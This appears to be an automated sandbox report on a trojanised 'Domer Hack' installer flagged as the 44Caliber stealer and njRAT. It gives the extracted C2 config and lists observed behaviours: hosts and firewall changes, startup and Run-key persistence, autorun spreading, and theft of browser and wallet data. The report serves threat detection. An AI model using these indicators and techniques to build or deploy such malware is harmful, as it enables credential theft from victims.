44caliber | hxxps://clck[.]ru/34tjSE

Analysis

max time kernel
164s
max time network
269s
platform
windows10-2004_x64
resource
win10v2004-20230703-en
resource tags

arch:x64arch:x86image:win10v2004-20230703-enlocale:en-usos:windows10-2004-x64system
submitted
26-07-2023 22:16

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

https://clck.ru/34tjSE

Score

10^/10

44caliber njrat hacked discovery evasion persistence spyware stealer trojan upx

Malware Config

Extracted

Family

njrat

Version

im523

Botnet

HacKed

192.168.0.103:45656

Mutex

2be762aea56ef92164b90382be69be5e

Attributes

reg_key
2be762aea56ef92164b90382be69be5e
splitter
|'|'|

Signatures

44Caliber
An open source infostealer written in C#.
stealer 44caliber
njRAT/Bladabindi
Widely used RAT written in .NET.
trojan njrat
Downloads MZ/PE file

Drops file in Drivers directory 3 IoCs

Processes:

attrib.exeDomer_Haсk.exeattrib.exe

description	ioc	process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Domer_Haсk.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe

Modifies Windows Firewall 1 TTPs 3 IoCs
evasion

Windows Service
T1543.003

Processes:

netsh.exenetsh.exenetsh.exe

pid process

4868 netsh.exe
4816 netsh.exe
1656 netsh.exe

pid	process
4868	netsh.exe
4816	netsh.exe
1656	netsh.exe

Checks computer location settings 2 TTPs 7 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

adjustService.sfx.exeadjustService.sfx.exeadjustService.exeDomer Hack.exeadjustService.exeDomer Hack.exeadjustService.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1722984668-1829624581-3022101259-1000\Control Panel\International\Geo\Nation	adjustService.sfx.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1722984668-1829624581-3022101259-1000\Control Panel\International\Geo\Nation	adjustService.sfx.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1722984668-1829624581-3022101259-1000\Control Panel\International\Geo\Nation	adjustService.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1722984668-1829624581-3022101259-1000\Control Panel\International\Geo\Nation	Domer Hack.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1722984668-1829624581-3022101259-1000\Control Panel\International\Geo\Nation	adjustService.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1722984668-1829624581-3022101259-1000\Control Panel\International\Geo\Nation	Domer Hack.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1722984668-1829624581-3022101259-1000\Control Panel\International\Geo\Nation	adjustService.exe

Drops startup file 4 IoCs

Processes:

server.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\adjustService.exe	server.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\adjustService.exe	server.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ca6c3d87a5cae9a98eec8f6faae26239adjustService.exe	server.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ca6c3d87a5cae9a98eec8f6faae26239adjustService.exe	server.exe

Executes dropped EXE 20 IoCs

Processes:

Domer Hack Setup.tmpDomer Hack.exeadjustService.exeDomer Hack.exeadjustService.exeadjustService.sfx.exeadjustService.sfx.exeadjustService.exeadjustService.exeserver.exeаdjustService.exeаdjustService.exeDomer_Haсk.exeDomer_Haсk.exebound.exeDomer_Haсk.exeDomer_Haсk.exeDomer_Hack.exerar.exeDomer_Hack.exe

pid	process
4448	Domer Hack Setup.tmp
1936	Domer Hack.exe
2208	adjustService.exe
4360	Domer Hack.exe
4044	adjustService.exe
4468	adjustService.sfx.exe
1804	adjustService.sfx.exe
3832	adjustService.exe
4500	adjustService.exe
3488	server.exe
1052	аdjustService.exe
3732	аdjustService.exe
5052	Domer_Haсk.exe
4136	Domer_Haсk.exe
4288	bound.exe
5760	Domer_Haсk.exe
5352	Domer_Haсk.exe
464	Domer_Hack.exe
6540	rar.exe
4128	Domer_Hack.exe

Loads dropped DLL 39 IoCs

Processes:

Domer_Haсk.exeDomer_Haсk.exeDomer_Hack.exeDomer_Hack.exe

pid	process
4136	Domer_Haсk.exe
4136	Domer_Haсk.exe
4136	Domer_Haсk.exe
4136	Domer_Haсk.exe
4136	Domer_Haсk.exe
4136	Domer_Haсk.exe
4136	Domer_Haсk.exe
4136	Domer_Haсk.exe
4136	Domer_Haсk.exe
4136	Domer_Haсk.exe
4136	Domer_Haсk.exe
4136	Domer_Haсk.exe
4136	Domer_Haсk.exe
4136	Domer_Haсk.exe
4136	Domer_Haсk.exe
4136	Domer_Haсk.exe
4136	Domer_Haсk.exe
4136	Domer_Haсk.exe
4136	Domer_Haсk.exe
5352	Domer_Haсk.exe
5352	Domer_Haсk.exe
5352	Domer_Haсk.exe
5352	Domer_Haсk.exe
5352	Domer_Haсk.exe
5352	Domer_Haсk.exe
5352	Domer_Haсk.exe
5352	Domer_Haсk.exe
5352	Domer_Haсk.exe
5352	Domer_Haсk.exe
5352	Domer_Haсk.exe
5352	Domer_Haсk.exe
5352	Domer_Haсk.exe
5352	Domer_Haсk.exe
5352	Domer_Haсk.exe
5352	Domer_Haсk.exe
5352	Domer_Haсk.exe
5352	Domer_Haсk.exe
464	Domer_Hack.exe
4128	Domer_Hack.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

UPX packed file 41 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\_MEI50522\python311.dll	upx
C:\Users\Admin\AppData\Local\Temp\_MEI50522\python311.dll	upx
behavioral1/memory/4136-1027-0x00007FF985130000-0x00007FF985719000-memory.dmp	upx
behavioral1/memory/4136-1030-0x00007FF99B040000-0x00007FF99B050000-memory.dmp	upx
behavioral1/memory/4136-1031-0x00007FF995CA0000-0x00007FF995CC3000-memory.dmp	upx
behavioral1/memory/4136-1032-0x00007FF996150000-0x00007FF99615F000-memory.dmp	upx
behavioral1/memory/4136-1042-0x00007FF995C70000-0x00007FF995C9D000-memory.dmp	upx
behavioral1/memory/4136-1043-0x00007FF9956A0000-0x00007FF9956C3000-memory.dmp	upx
behavioral1/memory/4136-1045-0x00007FF985B30000-0x00007FF985BE8000-memory.dmp	upx
behavioral1/memory/4136-1044-0x00007FF985F80000-0x00007FF9860F7000-memory.dmp	upx
behavioral1/memory/4136-1047-0x00007FF995C50000-0x00007FF995C69000-memory.dmp	upx
behavioral1/memory/4136-1048-0x00007FF995A40000-0x00007FF995A59000-memory.dmp	upx
behavioral1/memory/4136-1053-0x00007FF995F40000-0x00007FF995F4D000-memory.dmp	upx
behavioral1/memory/4136-1054-0x00007FF9953E0000-0x00007FF99540E000-memory.dmp	upx
behavioral1/memory/4136-1055-0x00007FF984DB0000-0x00007FF985128000-memory.dmp	upx
behavioral1/memory/4136-1056-0x00007FF995EE0000-0x00007FF995EED000-memory.dmp	upx
behavioral1/memory/4136-1057-0x00007FF995310000-0x00007FF995324000-memory.dmp	upx
behavioral1/memory/4136-1058-0x00007FF985A10000-0x00007FF985B2C000-memory.dmp	upx
behavioral1/memory/4136-1227-0x00007FF985130000-0x00007FF985719000-memory.dmp	upx
behavioral1/memory/5352-1228-0x00007FF980110000-0x00007FF9806F9000-memory.dmp	upx
behavioral1/memory/5352-1231-0x00007FF97DAA0000-0x00007FF97DAC3000-memory.dmp	upx
behavioral1/memory/5352-1253-0x00007FF98EF00000-0x00007FF98EF10000-memory.dmp	upx
behavioral1/memory/5352-1255-0x00007FF9848F0000-0x00007FF9848FF000-memory.dmp	upx
behavioral1/memory/4136-1270-0x00007FF985130000-0x00007FF985719000-memory.dmp	upx
behavioral1/memory/4136-1272-0x00007FF995CA0000-0x00007FF995CC3000-memory.dmp	upx
behavioral1/memory/5352-1431-0x00007FF980110000-0x00007FF9806F9000-memory.dmp	upx
behavioral1/memory/5352-1442-0x00007FF97DAA0000-0x00007FF97DAC3000-memory.dmp	upx
behavioral1/memory/4136-1441-0x00007FF985B30000-0x00007FF985BE8000-memory.dmp	upx
behavioral1/memory/5352-1451-0x00007FF9848F0000-0x00007FF9848FF000-memory.dmp	upx
behavioral1/memory/4136-1450-0x00007FF984DB0000-0x00007FF985128000-memory.dmp	upx
behavioral1/memory/5352-1454-0x00007FF98C510000-0x00007FF98C529000-memory.dmp	upx
behavioral1/memory/5352-1456-0x00007FF984890000-0x00007FF9848B3000-memory.dmp	upx
behavioral1/memory/5352-1458-0x00007FF984350000-0x00007FF9844C7000-memory.dmp	upx
behavioral1/memory/5352-1461-0x00007FF98C1A0000-0x00007FF98C1B9000-memory.dmp	upx
behavioral1/memory/5352-1452-0x00007FF9848C0000-0x00007FF9848ED000-memory.dmp	upx
behavioral1/memory/5352-1466-0x00007FF984100000-0x00007FF9841B8000-memory.dmp	upx
behavioral1/memory/5352-1440-0x00007FF98EF00000-0x00007FF98EF10000-memory.dmp	upx
behavioral1/memory/4136-1439-0x00007FF9953E0000-0x00007FF99540E000-memory.dmp	upx
behavioral1/memory/5352-1469-0x00007FF995460000-0x00007FF995474000-memory.dmp	upx
behavioral1/memory/4136-1566-0x00007FF985130000-0x00007FF985719000-memory.dmp	upx
C:\Users\Admin\AppData\Local\Temp\RarSFX0\Domer_Hack.exe	upx

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

chrome.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1722984668-1829624581-3022101259-1000\Software\Microsoft\Windows\CurrentVersion\Run	chrome.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

Domer Hack Setup.tmp

description	ioc	process
File opened (read-only)	\??\K:	Domer Hack Setup.tmp
File opened (read-only)	\??\W:	Domer Hack Setup.tmp
File opened (read-only)	\??\B:	Domer Hack Setup.tmp
File opened (read-only)	\??\I:	Domer Hack Setup.tmp
File opened (read-only)	\??\J:	Domer Hack Setup.tmp
File opened (read-only)	\??\L:	Domer Hack Setup.tmp
File opened (read-only)	\??\M:	Domer Hack Setup.tmp
File opened (read-only)	\??\O:	Domer Hack Setup.tmp
File opened (read-only)	\??\P:	Domer Hack Setup.tmp
File opened (read-only)	\??\A:	Domer Hack Setup.tmp
File opened (read-only)	\??\E:	Domer Hack Setup.tmp
File opened (read-only)	\??\H:	Domer Hack Setup.tmp
File opened (read-only)	\??\X:	Domer Hack Setup.tmp
File opened (read-only)	\??\Y:	Domer Hack Setup.tmp
File opened (read-only)	\??\N:	Domer Hack Setup.tmp
File opened (read-only)	\??\Q:	Domer Hack Setup.tmp
File opened (read-only)	\??\S:	Domer Hack Setup.tmp
File opened (read-only)	\??\U:	Domer Hack Setup.tmp
File opened (read-only)	\??\V:	Domer Hack Setup.tmp
File opened (read-only)	\??\Z:	Domer Hack Setup.tmp
File opened (read-only)	\??\G:	Domer Hack Setup.tmp
File opened (read-only)	\??\R:	Domer Hack Setup.tmp
File opened (read-only)	\??\T:	Domer Hack Setup.tmp

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

334 freegeoip.app
335 freegeoip.app
341 ip-api.com

flow	ioc
334	freegeoip.app
335	freegeoip.app
341	ip-api.com

Drops autorun.inf file 1 TTPs 4 IoCs

Malware can abuse Windows Autorun to spread further via attached volumes.

Replication Through Removable Media

T1091

Processes:

server.exe

description	ioc	process
File created	C:\autorun.inf	server.exe
File opened for modification	C:\autorun.inf	server.exe
File created	F:\autorun.inf	server.exe
File opened for modification	F:\autorun.inf	server.exe

Drops file in System32 directory 2 IoCs

Processes:

server.exe

description	ioc	process
File created	C:\Windows\SysWOW64\adjustService.exe	server.exe
File opened for modification	C:\Windows\SysWOW64\adjustService.exe	server.exe

Drops file in Windows directory 6 IoCs

Processes:

аdjustService.exeadjustService.exeserver.exeаdjustService.exe

description	ioc	process
File opened for modification	C:\Windows\Р°djustService	аdjustService.exe
File created	C:\Windows\server.exe	adjustService.exe
File opened for modification	C:\Windows\server.exe	server.exe
File created	C:\Windows\Р°djustService	аdjustService.exe
File opened for modification	C:\Windows\Р°djustService	аdjustService.exe
File created	C:\Windows\Р°djustService	аdjustService.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

taskmgr.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

bound.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	bound.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	bound.exe

Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.

System Information Discovery
T1082

Processes:

WMIC.exe

pid process

1644 WMIC.exe
Enumerates processes with tasklist 1 TTPs 4 IoCs

Process Discovery
T1057

Processes:

tasklist.exetasklist.exetasklist.exetasklist.exe

pid process

1116 tasklist.exe
1272 tasklist.exe
5420 tasklist.exe
5984 tasklist.exe

pid	process
1644	WMIC.exe

pid	process
1116	tasklist.exe
1272	tasklist.exe
5420	tasklist.exe
5984	tasklist.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

chrome.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.

System Information Discovery
T1082

Processes:

systeminfo.exe

pid process

5568 systeminfo.exe
Kills process with taskkill 2 IoCs
evasion

Processes:

taskkill.exetaskkill.exe

pid process

6980 taskkill.exe
7060 taskkill.exe

pid	process
5568	systeminfo.exe

pid	process
6980	taskkill.exe
7060	taskkill.exe

Modifies data under HKEY_USERS 2 IoCs

Processes:

chrome.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133348834053754468"	chrome.exe

Modifies registry class 23 IoCs

Processes:

Domer Hack Setup.tmpаdjustService.exeаdjustService.exeOpenWith.exeOpenWith.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\Software\Classes\DomerHackSetup.myp\shell\open\command	Domer Hack Setup.tmp
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\DomerHackSetup.myp	Domer Hack Setup.tmp
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\DomerHackSetup.myp\shell\open	Domer Hack Setup.tmp
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\DomerHackSetup.myp\shell\open\command	Domer Hack Setup.tmp
Key created	\REGISTRY\MACHINE\Software\Classes\Applications\Domer Hack.exe\SupportedTypes	Domer Hack Setup.tmp
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Applications\Domer Hack.exe\SupportedTypes\.myp	Domer Hack Setup.tmp
Key created	\REGISTRY\USER\S-1-5-21-1722984668-1829624581-3022101259-1000_Classes\Local Settings	аdjustService.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\DomerHackSetup.myp\ = "Domer Hack Setup"	Domer Hack Setup.tmp
Key created	\REGISTRY\USER\S-1-5-21-1722984668-1829624581-3022101259-1000_Classes\Local Settings	аdjustService.exe
Key created	\REGISTRY\USER\S-1-5-21-1722984668-1829624581-3022101259-1000_Classes\Local Settings	OpenWith.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.myp\OpenWithProgids\DomerHackSetup.myp	Domer Hack Setup.tmp
Key created	\REGISTRY\MACHINE\Software\Classes\DomerHackSetup.myp	Domer Hack Setup.tmp
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Applications	Domer Hack Setup.tmp
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.myp\OpenWithProgids	Domer Hack Setup.tmp
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\DomerHackSetup.myp\shell\open\command\ = "\"F:\\Domer Hack\\Domer Hack.exe\" \"%1\""	Domer Hack Setup.tmp
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Applications\Domer Hack.exe	Domer Hack Setup.tmp
Key created	\REGISTRY\USER\S-1-5-21-1722984668-1829624581-3022101259-1000_Classes\Local Settings	OpenWith.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\DomerHackSetup.myp\DefaultIcon\ = "F:\\Domer Hack\\Domer Hack.exe,0"	Domer Hack Setup.tmp
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.myp	Domer Hack Setup.tmp
Key created	\REGISTRY\MACHINE\Software\Classes\DomerHackSetup.myp\DefaultIcon	Domer Hack Setup.tmp
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\DomerHackSetup.myp\shell	Domer Hack Setup.tmp
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Applications\Domer Hack.exe\SupportedTypes	Domer Hack Setup.tmp
Key created	\REGISTRY\MACHINE\Software\Classes\.myp\OpenWithProgids	Domer Hack Setup.tmp

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

chrome.exeDomer Hack Setup.tmptaskmgr.exeserver.exe

pid	process
2952	chrome.exe
2952	chrome.exe
4448	Domer Hack Setup.tmp
4448	Domer Hack Setup.tmp
5028	taskmgr.exe
5028	taskmgr.exe
5028	taskmgr.exe
5028	taskmgr.exe
3488	server.exe
3488	server.exe
3488	server.exe
3488	server.exe
3488	server.exe
3488	server.exe
3488	server.exe
3488	server.exe
3488	server.exe
3488	server.exe
3488	server.exe
3488	server.exe
3488	server.exe
3488	server.exe
3488	server.exe
3488	server.exe
3488	server.exe
3488	server.exe
3488	server.exe
3488	server.exe
3488	server.exe
3488	server.exe
3488	server.exe
3488	server.exe
3488	server.exe
3488	server.exe
3488	server.exe
3488	server.exe
3488	server.exe
3488	server.exe
3488	server.exe
3488	server.exe
3488	server.exe
3488	server.exe
3488	server.exe
3488	server.exe
3488	server.exe
3488	server.exe
3488	server.exe
3488	server.exe
3488	server.exe
3488	server.exe
3488	server.exe
3488	server.exe
3488	server.exe
3488	server.exe
3488	server.exe
3488	server.exe
3488	server.exe
3488	server.exe
3488	server.exe
3488	server.exe
3488	server.exe
3488	server.exe
3488	server.exe
3488	server.exe

Suspicious behavior: GetForegroundWindowSpam 2 IoCs

Processes:

Domer Hack Setup.tmpserver.exe

pid process

4448 Domer Hack Setup.tmp
3488 server.exe
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 9 IoCs

Processes:

chrome.exe

pid process

2952 chrome.exe
2952 chrome.exe
2952 chrome.exe
2952 chrome.exe
2952 chrome.exe
2952 chrome.exe
2952 chrome.exe
2952 chrome.exe
2952 chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

chrome.exe

description	pid	process
Token: SeShutdownPrivilege	2952	chrome.exe
Token: SeCreatePagefilePrivilege	2952	chrome.exe
Token: SeShutdownPrivilege	2952	chrome.exe
Token: SeCreatePagefilePrivilege	2952	chrome.exe
Token: SeShutdownPrivilege	2952	chrome.exe
Token: SeCreatePagefilePrivilege	2952	chrome.exe
Token: SeShutdownPrivilege	2952	chrome.exe
Token: SeCreatePagefilePrivilege	2952	chrome.exe
Token: SeShutdownPrivilege	2952	chrome.exe
Token: SeCreatePagefilePrivilege	2952	chrome.exe
Token: SeShutdownPrivilege	2952	chrome.exe
Token: SeCreatePagefilePrivilege	2952	chrome.exe
Token: SeShutdownPrivilege	2952	chrome.exe
Token: SeCreatePagefilePrivilege	2952	chrome.exe
Token: SeShutdownPrivilege	2952	chrome.exe
Token: SeCreatePagefilePrivilege	2952	chrome.exe
Token: SeShutdownPrivilege	2952	chrome.exe
Token: SeCreatePagefilePrivilege	2952	chrome.exe
Token: SeShutdownPrivilege	2952	chrome.exe
Token: SeCreatePagefilePrivilege	2952	chrome.exe
Token: SeShutdownPrivilege	2952	chrome.exe
Token: SeCreatePagefilePrivilege	2952	chrome.exe
Token: SeShutdownPrivilege	2952	chrome.exe
Token: SeCreatePagefilePrivilege	2952	chrome.exe
Token: SeShutdownPrivilege	2952	chrome.exe
Token: SeCreatePagefilePrivilege	2952	chrome.exe
Token: SeShutdownPrivilege	2952	chrome.exe
Token: SeCreatePagefilePrivilege	2952	chrome.exe
Token: SeShutdownPrivilege	2952	chrome.exe
Token: SeCreatePagefilePrivilege	2952	chrome.exe
Token: SeShutdownPrivilege	2952	chrome.exe
Token: SeCreatePagefilePrivilege	2952	chrome.exe
Token: SeShutdownPrivilege	2952	chrome.exe
Token: SeCreatePagefilePrivilege	2952	chrome.exe
Token: SeShutdownPrivilege	2952	chrome.exe
Token: SeCreatePagefilePrivilege	2952	chrome.exe
Token: SeShutdownPrivilege	2952	chrome.exe
Token: SeCreatePagefilePrivilege	2952	chrome.exe
Token: SeShutdownPrivilege	2952	chrome.exe
Token: SeCreatePagefilePrivilege	2952	chrome.exe
Token: SeShutdownPrivilege	2952	chrome.exe
Token: SeCreatePagefilePrivilege	2952	chrome.exe
Token: SeShutdownPrivilege	2952	chrome.exe
Token: SeCreatePagefilePrivilege	2952	chrome.exe
Token: SeShutdownPrivilege	2952	chrome.exe
Token: SeCreatePagefilePrivilege	2952	chrome.exe
Token: SeShutdownPrivilege	2952	chrome.exe
Token: SeCreatePagefilePrivilege	2952	chrome.exe
Token: SeShutdownPrivilege	2952	chrome.exe
Token: SeCreatePagefilePrivilege	2952	chrome.exe
Token: SeShutdownPrivilege	2952	chrome.exe
Token: SeCreatePagefilePrivilege	2952	chrome.exe
Token: SeShutdownPrivilege	2952	chrome.exe
Token: SeCreatePagefilePrivilege	2952	chrome.exe
Token: SeShutdownPrivilege	2952	chrome.exe
Token: SeCreatePagefilePrivilege	2952	chrome.exe
Token: SeShutdownPrivilege	2952	chrome.exe
Token: SeCreatePagefilePrivilege	2952	chrome.exe
Token: SeShutdownPrivilege	2952	chrome.exe
Token: SeCreatePagefilePrivilege	2952	chrome.exe
Token: SeShutdownPrivilege	2952	chrome.exe
Token: SeCreatePagefilePrivilege	2952	chrome.exe
Token: SeShutdownPrivilege	2952	chrome.exe
Token: SeCreatePagefilePrivilege	2952	chrome.exe

Suspicious use of FindShellTrayWindow 64 IoCs

Processes:

chrome.exeDomer Hack Setup.tmptaskmgr.exe

pid	process
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
4448	Domer Hack Setup.tmp
5028	taskmgr.exe
5028	taskmgr.exe
5028	taskmgr.exe
5028	taskmgr.exe
5028	taskmgr.exe
5028	taskmgr.exe
5028	taskmgr.exe
5028	taskmgr.exe
5028	taskmgr.exe
5028	taskmgr.exe
5028	taskmgr.exe
5028	taskmgr.exe
5028	taskmgr.exe
5028	taskmgr.exe
5028	taskmgr.exe
5028	taskmgr.exe

Suspicious use of SendNotifyMessage 64 IoCs

Processes:

chrome.exetaskmgr.exe

pid	process
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
2952	chrome.exe
5028	taskmgr.exe
5028	taskmgr.exe
5028	taskmgr.exe
5028	taskmgr.exe
5028	taskmgr.exe
5028	taskmgr.exe
5028	taskmgr.exe
5028	taskmgr.exe
5028	taskmgr.exe
5028	taskmgr.exe
5028	taskmgr.exe
5028	taskmgr.exe
5028	taskmgr.exe
5028	taskmgr.exe
5028	taskmgr.exe
5028	taskmgr.exe
5028	taskmgr.exe
5028	taskmgr.exe
5028	taskmgr.exe
5028	taskmgr.exe
5028	taskmgr.exe
5028	taskmgr.exe
5028	taskmgr.exe
5028	taskmgr.exe
5028	taskmgr.exe
5028	taskmgr.exe
5028	taskmgr.exe
5028	taskmgr.exe
5028	taskmgr.exe
5028	taskmgr.exe
5028	taskmgr.exe
5028	taskmgr.exe
5028	taskmgr.exe
5028	taskmgr.exe
5028	taskmgr.exe
5028	taskmgr.exe

Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

OpenWith.exeOpenWith.exe

pid process

4164 OpenWith.exe
1104 OpenWith.exe

pid	process
4164	OpenWith.exe
1104	OpenWith.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

chrome.exe

description	pid	process	target process
PID 2952 wrote to memory of 3280	2952	chrome.exe	chrome.exe
PID 2952 wrote to memory of 3280	2952	chrome.exe	chrome.exe
PID 2952 wrote to memory of 4632	2952	chrome.exe	chrome.exe
PID 2952 wrote to memory of 4632	2952	chrome.exe	chrome.exe
PID 2952 wrote to memory of 4632	2952	chrome.exe	chrome.exe
PID 2952 wrote to memory of 4632	2952	chrome.exe	chrome.exe
PID 2952 wrote to memory of 4632	2952	chrome.exe	chrome.exe
PID 2952 wrote to memory of 4632	2952	chrome.exe	chrome.exe
PID 2952 wrote to memory of 4632	2952	chrome.exe	chrome.exe
PID 2952 wrote to memory of 4632	2952	chrome.exe	chrome.exe
PID 2952 wrote to memory of 4632	2952	chrome.exe	chrome.exe
PID 2952 wrote to memory of 4632	2952	chrome.exe	chrome.exe
PID 2952 wrote to memory of 4632	2952	chrome.exe	chrome.exe
PID 2952 wrote to memory of 4632	2952	chrome.exe	chrome.exe
PID 2952 wrote to memory of 4632	2952	chrome.exe	chrome.exe
PID 2952 wrote to memory of 4632	2952	chrome.exe	chrome.exe
PID 2952 wrote to memory of 4632	2952	chrome.exe	chrome.exe
PID 2952 wrote to memory of 4632	2952	chrome.exe	chrome.exe
PID 2952 wrote to memory of 4632	2952	chrome.exe	chrome.exe
PID 2952 wrote to memory of 4632	2952	chrome.exe	chrome.exe
PID 2952 wrote to memory of 4632	2952	chrome.exe	chrome.exe
PID 2952 wrote to memory of 4632	2952	chrome.exe	chrome.exe
PID 2952 wrote to memory of 4632	2952	chrome.exe	chrome.exe
PID 2952 wrote to memory of 4632	2952	chrome.exe	chrome.exe
PID 2952 wrote to memory of 4632	2952	chrome.exe	chrome.exe
PID 2952 wrote to memory of 4632	2952	chrome.exe	chrome.exe
PID 2952 wrote to memory of 4632	2952	chrome.exe	chrome.exe
PID 2952 wrote to memory of 4632	2952	chrome.exe	chrome.exe
PID 2952 wrote to memory of 4632	2952	chrome.exe	chrome.exe
PID 2952 wrote to memory of 4632	2952	chrome.exe	chrome.exe
PID 2952 wrote to memory of 4632	2952	chrome.exe	chrome.exe
PID 2952 wrote to memory of 4632	2952	chrome.exe	chrome.exe
PID 2952 wrote to memory of 4632	2952	chrome.exe	chrome.exe
PID 2952 wrote to memory of 4632	2952	chrome.exe	chrome.exe
PID 2952 wrote to memory of 4632	2952	chrome.exe	chrome.exe
